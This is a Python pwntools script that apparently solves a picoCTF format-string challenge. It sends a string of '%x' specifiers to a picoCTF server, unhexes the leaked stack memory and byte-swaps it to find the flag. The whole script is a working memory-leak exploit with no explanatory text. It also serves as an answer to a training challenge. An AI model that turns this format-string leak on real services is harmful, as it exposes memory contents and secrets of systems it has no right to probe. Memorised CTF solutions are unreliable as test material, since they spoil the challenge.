#!/usr/bin/env python
from pwn import *

buffer_size = 127
hex_to_read = 127//2
hex_reader = b'%x'*hex_to_read
payload = hex_reader + b'.'
log.info(f"payload: {payload}")

def endian_swap(s, offset=0):
    result = b''
    for i in range(3+offset, len(s), 4):
        result += bytes(reversed(s[i-3:i+1]))
    return result

conn = remote("saturn.picoctf.net", 65206)

conn.recvuntil(b" >> ")
conn.sendline(payload)
conn.recvline()
data = conn.recvline(keepends=False)[:-1]
log.info(f"received data: {data}")
unhexed_data = unhex(data)
for i in range(4):
    endian_swapped_data = endian_swap(unhexed_data, offset=i)
    if b"picoCTF" in endian_swapped_data:
        break
log.info(f"processed data: {endian_swapped_data}")